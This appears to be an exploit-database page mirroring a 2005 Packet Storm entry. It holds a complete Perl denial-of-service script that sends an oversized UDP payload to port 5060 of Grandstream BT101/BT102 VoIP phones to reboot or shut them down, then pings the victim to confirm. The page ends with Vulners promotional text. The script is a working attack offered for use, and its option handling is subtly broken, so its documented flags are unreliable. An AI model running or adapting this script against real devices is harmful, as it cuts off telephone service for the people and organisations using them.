Lucene search
K

grandstream-DoS.pl.txt

🗓️ 13 Aug 2005 00:00:00Reported by Pierre KromaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 23 Views

Denial of Service script for Grandstream BT101/BT102 using UDP requests to reboot or shutdown devices.

Code
`#!/usr/bin/perl  
#  
use IO::Socket;  
use Term::ANSIColor;  
  
############################ U S A G E ###################################  
system ("clear");  
print "\nGrandstream BT101/BT102 DoS\n";  
print "written by pierre kroma (kroma\@syss.de)\n\n";  
  
if (!$ARGV[2]){  
print qq~  
Usage: perl grandstream-DoS.pl -s <ip-addr> <udp-port> {-r/-s}  
  
<ip-addr> = ;-)  
<udp-port> = 5060  
  
-r = 'reboot' the Grandstream BT 101/102  
-s = 'shutdown' the Grandstream BT 101/102  
  
~; exit;}  
################################## D E F I N I T I O N S####################  
  
$victim = $ARGV[0];  
$port = $ARGV[1];  
$option = $ARGV[2];  
  
if ( $option == 'r' || $option == 'R' )  
{ $request= 'k'x65534;}  
  
if ( $option == 's' || $option == 'S' )  
{ $request= 'p'x65535;}  
else  
{ print "Wrong parameter - try it again";  
exit;  
}  
  
  
# ping the remote device  
print color 'bold blue';  
print "\nping the remote device $victim\n";  
print color 'reset';  
system("ping -c 3 $victim");  
  
print color 'bold red';  
print "\n Wait ... \n\n\n";  
print color 'reset';  
$sox = IO::Socket::INET->new(Proto=>"udp",PeerPort=>"$port",PeerAddr=>"$victim");  
  
print $sox $request;  
sleep 1;  
close $sox;  
  
# ping the remote device  
print color 'bold blue';  
print "ping the remote device $victim again\n";  
print color 'reset';  
system("ping -c 3 $victim");  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2005 00:00Current
7.4High risk
Vulners AI Score7.4
23